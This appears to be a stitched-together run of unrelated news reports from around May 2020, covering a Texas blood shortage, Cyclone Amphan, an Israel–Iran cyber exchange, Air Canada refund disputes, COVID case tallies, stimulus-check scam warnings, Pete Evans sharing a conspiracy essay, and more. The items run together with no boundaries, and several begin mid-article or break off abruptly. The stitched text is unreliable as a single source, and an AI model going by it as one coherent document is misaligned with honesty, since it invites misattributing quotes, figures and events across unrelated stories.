Supplies began to dwindle again in late April, when Gov. Greg Abbott lifted restrictions on elective procedures. By that time, it had become clear the states hospitals had sufficient capacity to treat COVID-19 patients.

For the blood bank, it wasnt easy to adjust to that change with little notice. Overnight, it went from needing to collect 250 pints of blood a day to double that amount, as orders from hospitals began to increase.

However, it couldnt fall back on donations from schools and universities, which remained closed and usually account for 20 to 25 percent of donations. Blood drives that would have taken place at workplaces were also canceled, as many offices transitioned to working from home. People were hesitant to go out, including for blood donations.

Waltman said she understands those concerns, and fears of a virus about which much remains unknown. But the blood center cant maintain a supply without the support of the community, she said.

The same problems have been raised in her weekly phone calls with representatives from other blood banks across the county.

Wheres the blood going to come from? There is only so much that the blood center can do, she said. Were very concerned, not only locally, but nationally.

Bob Owen /San Antonio Express-News

On ExpressNews.com: His COVID-19 patient got better after a plasma transfusion. To know if it worked, a San Antonio doctor is encouraging more donations.

The blood bank has instituted measures to prevent the spread of infection during donations.

On Thursday morning, as the blood bank kicked off a three-day drive at the Alamodome, phlebotomists wore masks, gloves and face shields as they worked. All had been screened for fever and other symptoms on their way in. Chairs in the waiting and donation areas were spread out, and everyone was required to wear a mask. Seats were wiped down each time they were vacated.

People only could donate by appointment, a change that has been implemented across the centers donation sites.

In addition to blood, South Texas Blood and Tissue is collecting plasma from people whove recovered from the coronavirus. The center now has about 70 such donors giving plasma, which is being transfused into people who still are sick from COVID-19 in the hopes it will provide them with antibodies to the virus. It has sent about 280 doses to hospitals.

Lauren Caruba covers health care and medicine in the San Antonio and Bexar County area. To read more from Lauren, become a subscriber. lcaruba@express-news.net | Twitter: @LaurenCaruba
Veteran Punjabi star Satish Kaul, who has acted in several Hindi films and shows including "Mahabharat", says he's currently facing financial woes and the nation-wide lockdown has only made the situation worse for him.

The actor, whose credits include working in over 300 Punjabi and Hindi films and played the role of Lord Indra in "Mahabharat", said contrary to rumours, he's not in an old age home.

"I'm staying in a small rented place in Ludhiana. I was staying in an old age home earlier but then I'm here at this place with my good samaritan Satya Devi. My health is ok, I'm doing fine but the lockdown has made matters worse.

"I'm struggling for medicines, groceries and basic needs. I appeal to the industry people to help me. I got so much love as an actor, I need some attention now as a human in need," Kaul told PTI.

The 73-year-old actor had also worked in films like "Pyaar Toh Hona He Tha", "Aunty No 1" and show "Vikram Aur Betaal".

Kaul had moved to Punjab from Mumbai and had started an acting school around 2011. The actor said that project wasn't a success.

"It came to a halt and whatever work I was doing later was affected after I fractured my hip bone in 2015. For two and a half years, I was bed-ridden in the hospital. Then I had to check in to an old age home where I stayed for two years."

Kaul said he feels grateful that people had showered him so much love when he was in his prime and doesn't have any "regrets" now.

"It's ok if they've forgotten me. I got so much of love and I'm grateful. I will forever be indebted to the audience for that. Right now, I wish I am able to buy a decent place of my own where I can stay.

"The fire to act is still alive in me. It isn't over. I wish someone gives me a role even today, any role, and I would do it. I'm raring to act again," he added.

Follow @News18Movies for more


By Dr. Nehginpao Kipgen and Aakriti Bansal





Nehginpao Kipgen Aakriti Bansal

The outbreak of the novel coronavirus poses a significant threat to Southeast Asia and its regional bloc, the Association of Southeast Asian Nations (ASEAN). This is primarily due to the region's geographical proximity to China and the high trade flow between them.
Dont expect to attend public events in Lawrence for the rest of the year.

Mayor Dan Rivera issued an executive order canceling public events through December because of the coronavirus, one of multiple announcements he made Friday with Gov. Charlie Baker outside Lawrence General Hospital.

Lawrence is issuing fines of up to $300 for not wearing masks, Rivera said.

He also said the city would expand testing, spending $1 million in taxpayer funds to reach a goal of 1,000 COVID-19 tests a day.

We are facing a crisis of magnitude no one has seen in generations, but I feel the city of Lawrence is in a strong enough financial state to be able to weather the storm, Rivera said.

After 10 years of state oversight, the Executive Office of Administration and Finance announced in October it would abolish its fiscal overseer position in the city. The city, which faced a $27 million operating deficit in 2010, delivered balanced, timely budgets and, for eight of the last 10 years, ran budget surpluses in eight of the last 10 years, according to state officials.

Over the past decade, the city has struggled with its financial picture, casualties and displacements following the Columbia Gas explosions on Sept. 13, 2018 and now a global pandemic.

Lawrence has one of the highest levels of COVID-19 per capita in the state. The city has recorded 2,729 COVID-19 cases, and 109 residents have died, Rivera said. He said the city has essential workers who work across the Merrimack Valley.

Statewide, 90,084 people have tested positive for COVID-19 as of Thursday. More than 6,000 people have died.

Lawrence urged doctors to give residents referrals so they can get COVID-19 tests.

Were urging all doctors who deal with Lawrence people to be liberal with their testing referrals, he said.

The Baker administration set a goal of expanding testing statewide. Baker said he wants to see 45,000 daily tests this summer and 90,000 by December. He said the state will submit testing plans to the federal government this month in hopes that it can receive funding.

Both Baker and Rivera described testing as only one component in reducing the number of coronavirus cases in Massachusetts. They urged people to continue social distancing practices and wear masks.

While testing is a valuable and critical tool in the fight against COVID, it is not, as the mayor and I both said before, the only one," Baker, a Republican, said Friday. People have a big role to play in this with the behavior you exhibit and the behavior that you deliver every single day.

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Authorities in both countries are struggling to restore road links and electricity in areas hit by Cyclone Amphan.

Authorities in eastern India and Bangladesh have been struggling to restore road links, communication lines and electricity after a devastating cyclone in which at least 95 people were killed.

I assure my brothers and sisters of West Bengal that the entire country stands with you in these difficult times, Prime Minister Narendra Modi said on Friday after conducting an aerial survey of the devastation in the state.

He announced emergency aid of 10 billion rupees ($131.7m) for the state, which bore the brunt of Cyclone Amphan in India. More than 70 people have been killed in the state.

The states chief minister, Mamata Banerjee, who accompanied Modi, had earlier said the cyclone was worse than the coronavirus that has killed more than 3,000 people in India.

I havent seen a disaster of this magnitude, she said on Thursday.

High-speed winds and torrential rain

Cyclone Amphan made landfall on Wednesday accompanied by high-speed winds and torrential rain. It destroyed homes and crops, uprooted trees, submerged vast tracts of land and snapped power and communication lines in both India and Bangladesh.

So far at least 95 deaths have been reported: Eighty from West Bengal and Odisha states in India and 15 from Bangladesh, according to disaster management officials.

Most of the deaths were caused by trees falling on thatched houses, the collapse of parts of buildings due to the impact of the winds and rain, and electrocution, officials said.

Villagers repair their house damaged by Cyclone Amphan in Satkhira district, Bangladesh [Munir Uz zaman/AFP]

The United Nations office in Bangladesh estimates some 10 million people were affected, and some 500,000 people may have lost their homes.

Improved weather forecasting meant Bangladesh was able to move some 2.4 million people into shelters or out of the storms direct path, while India evacuated some 650,000.

Millions without power

At least 10 million people were without power on Thursday afternoon in the worst-hit districts of Bangladesh, rural electricity board chief Moin Uddin told AFP news agency.

The storm levelled more than 55,000 homes  most made of tin, mud and bamboo  across Bangladesh, junior disaster management minister Enamur Rahman told AFP.

Thousands of trees which blocked roads in West Bengal were being cleared, water pumped out and electricity gradually restored.

Police were using drones to assess the damage in Kolkata, a city of 14 million people, where an estimated 10,000 trees were brought down during the storm that lasted several hours and brought extensive flooding.

The city is still in a state of shock, Kolkatas deputy mayor, Atin Ghosh, told Reuters News Agency.

Municipal teams, civil defence personnel, police personnel have been working overtime to restore road connectivity first. But there is an acute shortage of manpower due to coronavirus related restrictions, Ghosh said.

Private buses and trains are still not in service. We really need citizens of Kolkata to come forward and lend a helping hand in whatever way possible.

Reuters television footage showed some streets strewn with uprooted trees, while torn power lines lay amid pools of stagnant water.

The clean-up operations are complicated by the new coronavirus with millions now housed in emergency shelters after their homes were destroyed.

Damage to Sunderbans mangrove forest

Cyclone Amphan unleashed torrential rain and storm surges in low-lying coastal areas that burst embankments protecting villages in the Ganges delta. Winds, gusting up to 185km/h (115mph), wrecked mud-walled houses.

Officials in West Bengal and Bangladesh said they were currently trying to assess the extent of loss and damage especially in the Sunderbans mangrove forest, a UNESCO World Heritage Site, about which information was still trickling in.

Reports were expected in two to three days, Bangladesh disaster management official Iftekharul Islam told DPA news agency.

Sunderbans is an ecologically fragile biosphere reserve area known for the famous Bengal tigers.

The cyclone weakened as it moved north through Bangladesh but still unleashed heavy rain and fierce winds in Coxs Bazar, the district which houses about one million Rohingya refugees from Myanmar.

The UN said the effect in the vast camps of flimsy shacks appeared to be fairly minimal.

The area most affected by Amphan, the first super cyclone to form over the Bay of Bengal since 1999, was the Satkhira district of southwest Bangladesh.

There a storm surge  a wall of ocean water which is often one of the main killers in major weather systems  roared inland and destroyed embankments protecting villages and shrimp farms.

My home has gone under water. My shrimp farm is gone. I dont know how I am going to survive, Omar Faruq, 28, told AFP.

Jessore, the district next to Satkhira and which borders West Bengal, was also hard hit with at least 12 killed.

The coronavirus has already taken a toll on people. Now the cyclone has made them paupers, said local councillor Bhabotosh Kumar Mondal.

The last super cyclone in 1999 left nearly 10,000 dead in Odisha, eight years after a typhoon, tornadoes and flooding killed 139,000 in Bangladesh.
YEREVAN, MAY 22, ARMENPRESS. The Foreign Ministry of Armenia salutes the condemnation of the Armenian Genocide by the resolution adopted by the Senate of the Czech Republic and assesses it as a serious contribution to the restoration of the historical justice and prevention of new crimes against humanity, ARMENPRESS reports spokesperson of the MFA Armenia Anna Naghdalyan said.

''We salute the adoption of the resolution by the Senate of the Parliament of the Czech Republic dedicated to the 75th anniversary of the WWII, which also condemns the crimes against humanity perpetrate during the two World Wars, including the genocide against Armenians in the Ottoman Empire.

The unanimous decision of the Czech Senate is a serious contribution to the restoration of historical justice and for honoring the memories of the victims. It's also an important message for the prevention of new genocides and crimes against humanity'', she said.

Edited and translated by Tigran Sirekanyan
Israel was the target of a cyber attack of rare proportions on the night of April 24. It hit Israeli water and sewage facilities, penetrating the computer systems of several regional water facilities and briefly disrupting their operations. Israels National Cyber Directorate identified an attempt to take control of the chlorine control system, some pumps and the command and control center of Israels Water Authority. Cyber defense systems identified and blocked the attack before it did more than disable a few pumps for several minutes. Experts believe the attack was state sponsored, perhaps by Iran, rather than the work of amateur hackers.

Less than two weeks later, according to assessments in the West, retaliation struck. The Washington Post reported on May 19 that Irans largest port, the Shahid Rajaee terminal in Bandar Abbas, had come under cyber-attack a few days earlier. Some 60% of Irans trade passes through the port to or from the Strait of Hormuz and it also houses Irans most strategically important naval base. WaPo cited US and foreign sources as linking Israel to the attack.

Israel did not assume formal responsibility, but in a May 19 address, Israel Defense Forces Chief Lt. Gen. Aviv Kochavi appeared to hint at it. Israel, he said, would continue to act using a variety of military tools and unique methods of combat to strike the enemy.

Analysts in the West as well as US administration sources are providing a creative interpretation of the generals remark, arguing that the Iranian attack on Israels water distribution system had crossed a red line. It was a first-of-its-kind attack and they were not far from inflicting human casualties, an Israeli cyber expert and former senior defense agency official told Al-Monitor on condition of anonymity. Anyone who tries to change the amount of chlorine in Israels drinking water is trying to hurt the civilian population. Even if it failed this time, next time it could succeed. According to Western assessments, the Iranian attack generated great Israeli anger and the decision to teach the Iranians a deterrent lesson followed almost at once.

Satellite imagery and Western intelligence reports indicate that the retaliation attributed by foreign press to Israel was far more powerful than the attack attributed to Iran. The damage caused to the Bandar Abbas port was significant and the chaos it created lasted for days, and is actually not yet over, a former senior Israeli intelligence source told Al-Monitor on condition of anonymity. Information reaching the West indicates that the Iranian port was paralyzed for at least three days, with most of its computer systems crashing, lengthy lines of trucks observed outside its gates and a giant traffic jam of vessels blocking entry from the sea.

The Iranians invested significant effort in trying to contain the attack, minimize damage and restore the port to full operations as fast as possible. They do not appear to have been overly successful. Someone used a sophisticated cyber weapon prepared well in advance for D-Day, a veteran Israeli cyber expert opined on condition of anonymity. This was not a spur-of-the-moment draw. It activated strategic cyber weaponry that reflects the capabilities of a cyber power and was prepared in advance for an all-out cyber clash. Someone wanted to convey a clear message that included a warning, a deterrent and a display of capabilities. It seems to have succeeded.

Nonetheless, the port attack did not cause Iran significant strategic damage. According to Western experts, it was intended to illustrate to Iran the difference between its own capabilities and those of Israel in the cyber arena and to signal that additional attempts to damage civilian infrastructure in Israel would be costly. Israel can attack more significant targets than the port and cause greater pain, a former Israeli security official told Al-Monitor on condition of anonymity. A precise dose was used this time to balance between a display of power and symbolic signaling in the hopes that the Iranians would get the message.

On May 21, two days following the report of Israels responsibility for the Bandar Abbas attack, Israel itself came under a massive but somewhat amateur cyber attack. Hundreds of companies had their websites hacked and their computer screens plastered with videos showing Tel Aviv burning and captioned with various threats against Israel in less than perfect Hebrew. In the first few seconds, one might have assumed it was an Iranian tit-for-tat for Israels alleged retaliatory port attack, but the hackers could have been working on their own.

The question is to what extent Iran controls the hackers activity and to what extent they are operating on its behalf, tweeted former Military Intelligence director Maj. Gen. (res.) Amos Yadlin, who heads the Institute for National Security Studies. This latest attack targeted many sites but did not cause significant damage and was blocked within 24 hours.

These events provide an interesting glimpse into the ongoing cyber war between Israel and Iran, conducted with active American involvement. Israel is believed to be a world cyber power, one of five states with the most sophisticated and powerful cyber capacity in the world, and not necessarily in fifth place. Israeli cyber activity is coordinated with US activity and sometimes carried out in conjunction. According to Western intelligence sources, the brief May 13 visit to Israel by Secretary of State Mike Pompeo was linked in some manner to the Iranian cyber attack or to the retaliatory strike that followed.

The drawback of retaliatory action lies in its exposure of the attackers capabilities. If Israel was indeed responsible for the port attack, it may have wasted strategic cyber weaponry prepared for an all-out attack, providing the Iranians with an excellent opportunity to study the weapon used against them, plan relevant defense systems and pick up technological expertise. That is what the Iranians are doing now, an Israeli cyber expert told Al-Monitor on condition of anonymity. They learn from everything, just like they did from the fragments of the American drone they struck down over the Gulf last June. True, Israels cyber capabilities are far stronger than Irans, but the Iranians are not sitting on their hands. They are constantly progressing and learning, and they have excellent emulation abilities. No one should underestimate them.
MONTREAL - Air Canada is revising its cancellation policy amid mounting customer frustration, offering travellers the option of a voucher with no expiration date or Aeroplan points if the airline cancels their flight due to the COVID-19 pandemic.

Hey there, time traveller!

This article was published 22/5/2020 (607 days ago), so information in it may no longer be current.

An Air Canada check-in area is shown at Montreal-Pierre Elliott Trudeau International Airport, Saturday, May 16, 2020. Air Canada says it is bolstering its summer schedule, which nonetheless remains more than 50 per cent smaller than last year as the COVID-19 pandemic continues to pound the airline industry. THE CANADIAN PRESS/Graham Hughes

MONTREAL - Air Canada is revising its cancellation policy amid mounting customer frustration, offering travellers the option of a voucher with no expiration date or Aeroplan points if the airline cancels their flight due to the COVID-19 pandemic.

The airline says the new policy  the previous one capped travel vouchers at 24 months, with no Aeroplan option  applies to non-refundable tickets issued up to the end of June, with an original travel date between March 1 and June 30.

Air Canada's fresh tack comes as consumer advocates and thousands of passengers continue to demand their money back for services they paid for but have not received.

Three petitions with more than 89,000 signatures are calling for full refunds to be implemented before financial aid is handed out to airlines, two of which were presented to the House of Commons over the past 11 days.

Cathy Maltese, who was booked on an Air Canada flight from Toronto to Orlando, Fla., over the March break with her three children, said she is "extremely disappointed" with how the airline has treated customers.

"At least now my family has the option of travelling when it is safe again and don't have to worry about the time running out for us," Maltese said in an email.

"To garner trust and respect again, they also have to give customers the option of a refund. There are many families struggling right now to put food on the table," she said. "Why should they lose that money?"

Air Canada said it has refunded nearly $1 billion to customers since Jan. 1, largely to travellers who paid for refundable tickets.

"While the world is making great progress against COVID-19, we know we must remain vigilant, which includes being flexible," chief commercial officer Lucie Guillemette said in a release Friday.

The loyalty points option allows customers to convert their booking into Aeroplan miles "and get an additional 65 per cent bonus miles," she said.

Toronto resident Bob Scott, who launched a petition presented to Parliament last week by Liberal MP Yasmin Ratansi, said passengers are "becoming increasingly angry at what they see as the government's complicity in the daylight robbery being committed by the airlines."

Canada is out of step with the United States and the European Union, he noted, where officials have ordered airlines to reimburse customers for cancelled flights. The Canadian Transportation Agency chalks up the difference to U.S. and EU legislation establishing a "minimum obligation" to refund that Canada lacks.

None of Canada's major airlines touts policies offering to return cash to passengers for the hundreds of thousands of flight cancellations since mid-March, opting instead for vouchers  typically with a timeline of two years.

Pressed on the issue Thursday at his daily media conference, Prime Minister Justin Trudeau said the government needs to have "some very careful discussions with airlines" as well as Canadians to maintain a balance where travellers are "treated fairly'' and the sector stays intact.

Passenger rights advocate Gabor Lukacs said the law requires airlines to refund customers, adding that fares may well go up in the coming year, reducing the value of travel credits.

"Air Canada continues to skirt its obligations to refund the approximately $2.6 billion dollars it owes to passengers," Lukacs said in an email.

Airlines have been sending repatriation flights and offering customers vouchers, but typically they advertise no refund policies for cancelled routes.

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WestJets website highlights future travel credit for cancelled flights, but says: "We are not processing refunds to original form of payment at this time."

The disclaimer comes despite the company's tariff  the contract between airline and passenger  which states that "the unused portion of the passengers ticket(s) will be refunded" in the same form as it was purchased, "should the alternate transportation proposed by the carrier not meet the passengers satisfaction."

On Friday, Air Canada also said it will bolster its summer schedule, which nonetheless remains more than 50 per cent smaller than last year as the COVID-19 pandemic continues to pound the airline industry.

The 97 destinations compare with 220 last summer but mark an improvement from the past six weeks, when 95 per cent of its flights were still suspended.

This report by The Canadian Press was first published May 22, 2020.

Companies in this story: (TSX:AC)
Once again crossing the century mark, Karnataka reported 138 new cases of coronavirus, taking the total number of infections to 1,743 as the state tested a record 12,229 samples on Friday, the health department said.

In continuing trend in recent days, most of the new cases were returnees from other states, majority from neighboring Maharashtra, one of the worst hit states in the country.

"Of the 138 cases, 116 are those who have returned from other states - 111 from Maharashtra, two each from Telanagana and Delhi, and one from Jharkhand," Minister S Suresh Kumar, spokesperson for COVID-19 in Karnataka, told reporters here.

Since April 24, a total of 526 people, among those who came from Maharashtra after registering in the government portal, have tested positive.

With the spike in infections, the number of active cases in the state crossed 1,000 mark while 26 patients were discharged on Friday.

As of Friday evening, cumulatively 1,743 COVID-19 positive cases had been confirmed and this included 41 deaths and 597 discharges, the health department bulletin said.

It said, out of 1,104 active cases, 1,085 patients are in isolation at designated hospitals and are stable, while 19 are in the intensive care unit.

Chikkaballapura district accounted for the highest number of new cases on Friday at 47.

Among others, Hassan reported 14 cases, Raichur 10, Bidar nine and Mandya and Tumakuru eight each.

Bengaluru Urban district still tops the table with a total of 261 positive cases, followed by Mandya 209 and Kalaburagi 134.

Among the discharges too, the city district was leading with total 130 recoveries followed by Mysuru 88 and Belagavi 65.

A total of 1,86,526 samples had been tested so far, out of which 12,229 on Friday alone with 1,83,088 and 11,604 of them being negative respectively.

Stating that eight international flights have come to Bengaluru so far carrying 1,035 passengers, the Minister said, Swab samples of all the returnees have been collected, out of them one was positive and 325 are primary contacts.

Responding to a question about rules not being followed by people in containment zones, he said, along with government measures to control the spread of pandemic, the public should also observe "social responsibility" and cooperate with agencies like police, health department among others.

Authorities were already taking measures to enforce strict restrictions in these containment zones, he added.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
(TNS)  Alabama is one of three states to sign on with Google and Apple for a new contact tracing app designed to slow the spread of the coronavirus.Alabama, North Dakota and South Carolina have signed agreement with the tech giants to use the tracing technology to develop COVID-19 tracking apps. Twenty-two foreign countries have also signed agreements to use the technology, known as Exposure Notifications.(Weve) joined hands with these two global giants in hopes of helping our people learn when and where they may have gotten exposed to this virus, Gov. Kay Ivey said Thursday. Hopefully, this will become an important tool in the tool kit to slow the spread of coronavirus by using what almost every Alabamians has in their pocketa cell phone.States using the technology will create tracing apps using Bluetooth technology. When someone tests positive for COVID-19, the system will send a notification to anyone who was recently near that person, advising them to contact their local healthcare authority to receive a coronavirus test. CNBC reported the technology includes storing data on a persons phone and not on a central database.Each user gets to decide whether or not to opt-in to Exposure Notifications; the system does not collect or use location from the device; and if a person is diagnosed with COVID-19, it is up to them whether or not to report that in the public health app, Google and Apple said in a joint statement. User adoption is key to success and we believe that these strong privacy protections are also the best way to encourage use of these apps.The technology is included in iPhone and Android updates released Wednesday.
BRUSSELS/FRANKFURT/PARIS (dpa-AFX) - European stocks fell on Friday as U.S.-China tensions escalated and China has decided not to set an economic growth target for 2020 due to the coronavirus pandemic. After China moved to strengthen control over Hong Kong with new security laws, U.S. President Donald Trump warned that Washington would react 'very strongly' if Beijing follows through on its plans. Critics say that the controversial law will effectively end wide-ranging freedoms including the right to peaceful assembly and free speech that Hong Kong enjoys under the 'one country, two systems' mechanism. The pan European Stoxx 600 dropped 0.8 percent to 337.66 after losing 0.8 percent in the previous session. The German DAX slid 0.8 percent, France's CAC 40 eased 0.4 percent and the U.K.'s FTSE 100 was down 1.4 percent. Luxury goods makers that rely on China and Hong Kong for a chunk of sales were among the prominent decliners. LVMH dropped 1.4 percent and Kering gave up 1.5 percent. Renault fell 1.6 percent. The automaker could disappear if it does not get help very soon to cope with the coronavirus pandemic fallout, France's Finance Minister Bruno Le Maire said. Asia-exposed HSBC Holdings Plc lost 5 percent and Prudential Plc plunged 7 percent on concerns that Beijing's proposed national security law for Hong Kong could stoke social unrest and erode its appeal as a financial hub. United Utilities slumped 6 percent after posting a lower net profit for fiscal 2020. Spectris, a supplier of precision instrumentation and controls, lost 6.6 percent after reporting a 20 percent fall in sales in the first four months of the year. Luxury fashion house Burberry Group advanced 2.4 percent after the company said there are signs of a rebound in China, the industry's key market. In economic releases, U.K. retail sales declined at a record pace in April as many stores were temporarily closed to contain the spread of coronavirus, data published by the Office for National Statistics showed. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
Controversial chef Pete Evans has urged his fans to read an essay on conspiracy theories by American public speaker Charles Eisenstein.

In a video posted on Instagram on Friday, the former My Kitchen Rules judge said it was 'important' that his followers engage with Eisenstein's latest article.

In the lengthy blog titled The Conspiracy Myth, Eisenstein addressed some of the theories surrounding the coronavirus pandemic.

It's important to remember, however, that there is no factual basis for any of the coronavirus conspiracy theories being circulated online.

Outspoken: Controversial chef Pete Evans (pictured) has urged his fans to read an essay on conspiracy theories by American public speaker Charles Eisenstein

Eisenstein claimed the conspiracy theories about COVID-19 were being 'fuelled by the authoritarian response to the pandemic'.

He said many people believe - incorrectly - that 'an evil, power-hungry cabal of insiders deliberately created the pandemic, or is at least ruthlessly exploiting it, to frighten the public into accepting a totalitarian world government under permanent medical martial law, a New World Order'.

Pete, 47, said Eisenstein's opinions closely mirrored his own - that is, he believes the government's response to coronavirus has stoked paranoia.

Voicing his opinion: In a video posted on Instagram on Friday, the former My Kitchen Rules judge said it was 'important' that his followers read Eisenstein's latest article

Pete told his followers: 'Have a read of this beautiful man's words. He always has such a wondrous way of illustrating and communicating his thoughts, and they echo mine, but he says it so much more beautifully.'

In another Instagram post on Friday, Pete shared a screenshot of Eisenstein's essay and urged his supporters to read it.

'IMPORTANT. Please read the whole essay from start to finish whether you believe in conspiracy myths or staunchly oppose them,' he wrote.

Viewpoint: In the blog titled The Conspiracy Myth, Eisenstein (pictured) addressed some of the theories surrounding the coronavirus pandemic. It's important to remember, however, that there is no factual basis for any of the coronavirus conspiracy theories being circulated online

'This is powerful and beautiful. Thank you @charles_eisenstein once again for voicing my own thoughts in a much more succinct and wonderful way and even allowing the space for me to open up even more and question my own beliefs.'

In his essay, Eisenstein claimed the coronavirus pandemic had enabled powerful forces to gain more control in society.

'The solution template is, facing any problem, to find something to control - to quarantine, to track, to imprison, to wall out, to dominate, or to kill,' he wrote.

Australia's chief doctor blasts COVID-19 conspiracy theorists Earlier this month, Australia's top doctor slammed 'nonsense' conspiracy theories linking 5G technology to coronavirus, claiming there's 'absolutely no evidence' to support the outrageous claims. Those who believe ultra-fast mobile technology causes the deadly virus were among hundreds of protesters who rallied and clashed with police outside Parliament House in Melbourne on May 10. Australian chief medical doctor Professor Brendan Murphy said the protest was the result of 'a lot of very silly misinformation'. 'There is absolutely no evidence about 5G doing anything in the coronavirus space,' Prof Murphy said in Canberra on Sunday. 'I have unfortunately received a lot of communication from these conspiracy theorists myself. It is complete nonsense. 5G has got nothing at all to do with coronavirus. 'Similarly, I understand people have the right to protest, but they should not be breaching those social distancing rules and if they are, they should be held to account.' Interest in ridiculous theories that the ultra-fast mobile technology causes coronavirus have swept across the globe during the pandemic, despite experts debunking the claims. Advertisement

Heavy reading: In another Instagram post on Friday, Pete shared a screenshot of Eisenstein's essay and urged his supporters to read it

'If control fails, more control will fix it. To achieve social and material paradise, control everything, track every movement, monitor every word, record every transaction.

'Then there can be no more crime, no more infection, no more disinformation... This is not a conspiracy, though it can certainly look like one.'

Eisenstein also claimed that anyone who questioned 'mainstream beliefs' was being labelled a conspiracy theorist.

Straight from the horse's mouth: Pete has raised eyebrows recently with his controversial and unfounded opinions about the coronavirus pandemic

Pete has raised eyebrows recently with his controversial and unfounded opinions about the coronavirus pandemic.

In April, he was fined $25,200 for promoting a 'healing lamp' he claimed could help treat COVID-19.

He has also voiced his opinions on a potential coronavirus vaccine - saying people shouldn't have to get it - and has argued that aged care workers and visitors should not be forced to get the flu vaccine.
Since March, schools have been using remote learning methods, such as eLearning, to replace in-classroom teaching. District officials across the area say if remote learning is to be needed, it will be an enhanced version of one used from the past couple of months. Districts like 112, will be using surveys taken from parents, staff and students to see where eLearning can be improved.
A 27-year-old law graduate was allegedly sexually assaulted by a burglar who gained entry into her Jungpura house in southeast Delhi last Sunday and even tried to strangulate her. Police said they have arrested the burglar who also has previous criminal involvements. The man has been booked for criminal trespass, attempt to murder and rape, senior officials said.

According to the police, the incident took place last Sunday when the woman was alone at home. As narrated by the woman, the man entered her house through a balcony and overpowered her before she could raise alarm, police said.

He then threatened to kill her if she tried to alert neighbours. The woman said the man then sexually assaulted her and even tried to strangulate her. However, fearing to be caught, he hurriedly left the woman and fled the house, said a senior officer who did not wish to be named.

Police said following the womans complaint multiple teams were constituted to track the suspect. Several CCTV footages from the neighbourhood were scanned and the man was finally tracked. Following local intelligence we managed to identify him and he was arrested on Thursday following a raid, the officer said.

Deputy commissioner of police (southeast) RP Meena said a case of criminal trespassing, attempt to murder and rape has been registered against the man who has cases of burglary already registered against him.

Ends.

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A recent Times and Democrat story reported on an Orangeburg man telling sheriff's deputies he was robbed at gunpoint as he was gambling with his federal stimulus money.

Most people won't lose their money in such a fashion, but the distribution of $1,200 stimulus checks to Americans has given rise to unprecedented online scams.

The Federal Trade Commission has received 18,235 reports of fraud costing victims $13.44 million; Google reported it is blocking 18 million scam emails every single day; and 150,000 fraudulent stimulus check sites have already launched.

SocialCatfish.com released a report, "5 Stimulus Check Online Scams to Avoid," based on information from the FTC, FBI and Internal Revenue Service during the coronavirus pandemic.

1. Robocall check scams: The scammer will call pretending to be the IRS and ask for your personal financial information. They will claim they need this to deposit the stimulus check into your account and will also ask for a fee to deposit said check. In reality, they want your information so that they can pretend to be you, claim the check for themselves. They can also drain your bank account of your funds with this information and will keep the fee for themselves with no check, in return.

How to avoid: Do not give out any personal information. The government already has your information on file from when you filed your taxes. The stimulus check will either be automatically deposited into your account or you will get it mailed to your house.

2) Email and text scams: Scammers will pretend to be the IRS or federal government by emailing or texting you a link to click to receive your check. If you click on the link your electronic device will get plagued with malware and your information gets stolen.

How to avoid: Do not click on any links that are emailed or texted to you. Again, the government already has your information and checks are either directly deposited or mailed.

3) Identify theft scams: If you have not received your stimulus check yet and the official IRS website says otherwise, it could be possible that you are a victim of identity theft. This means that a scammer has found a way to steal your information, like your SSN, and has claimed your stimulus check for themselves.

How to avoid: If you believe you have been a victim of this kind of fraud, you can report it at https://identitytheft.gov/.

4) Google search scam: Scammers have created copies of the official IRS Get My Payment site and have updated their search engine terms so that people conducting google searches for information find these fake sites. Once a person finds their site, they think it is the official IRS website and will enter their information.

How to avoid: Do not go on any website to get your stimulus check unless it is an official .gov or .ca site and beware of being redirected to a website from a non-reputable news source.

5) Third-party stimulus check scams: Scammers have come up with their own stimulus check programs claiming that they can give you additional money along with the government. They will send you letters in the mail, put pamphlets on your car, or send you an email or social media message trying to advertise their program.

How to avoid: Only believe in the stimulus check programs announced by the government reported by reputable news outlets. If you cannot find it reported by reputable news outlets, it is a scam.

South Carolinians should be aware they are prime targets for scammers.

An analysis by Construction Coverage, a review site for commercial auto and workers compensation insurance, found that South Carolina recorded 10,851 identity theft reports in 2019. For every 100,000 residents, South Carolina experienced the ninth most identity theft reports among all U.S. states.

And beware of thinking scams only effect older people. The FTC received the most identity theft reports for people ages 30-39.

According to the The Identity Theft Resource Center, millennials are more willing to share their personal data online and less fearful of their information being compromised than other age groups  a combination that makes them especially vulnerable.
With high profiles, comparatively secure government funding and established philanthropic networks, major arts festivals are in a position to make a difference. At one point in Getting Their Acts Together, Adelaide festivals annual bill is placed at $20m  around four times the amount of money the Australia Council has scraped together for its Covid-19 resilience fund. And after months of cancellations and pushbacks there will be no shortage of compelling shows by Australian artists and companies looking to make up for lost time  and income  in 2021.  The Guardian
A hotel who banned conversations about coronavirus - forcing people to donate $2 every time they mention the deadly outbreak - has raised $502

Marree Hotel, 598 kilometres north of Adelaide, South Australia, shared a picture of a donation tin near their tap beers in March and within three days it raised $100.

Now the tin has raised a total of $502 to be donated to the Royal Flying Doctor Service.

'Anyone talking about coronavirus must put $2 in the tin for the Royal Flying Doctor Service,' a sign on the tin says.

Marree Hotel, 598 kilometres north of Adelaide, South Australia, shared a picture of a donation tin near their tap beers in March

RFDS provides healthcare to people who live in isolated communities in Australia's outback.

Joe Calvert, the pub's manager, told Daily Mail Australia the hotel intended to keep the tin out as long as coronavirus remained a topic of conversation - including when borders open back up.

'The peak of people dropping money into the tin happened the first week it was put out,' Mr Calvert said.

'It dropped when people were off the roads but it's picking back up again.'

He said the business has only been able to do takeaway meals and drinks and host accommodation.

The business will reopen fully on June 5 and Mr Calvert encouraged people to visit once travel is opened up again.

'The main thing is to help Australians at this time and there is so much of the country to see,' he said.

'We are looking forward to when things go back to normal. Lots of people have been stuck in the city and there is a lot to see in the outback.'

There is no date for when the state will open up its borders to visitors from around the country.

Anyone talking about coronavirus must put $2 in the tin for the Royal Flying Doctor Service,' a sign on the tin says.

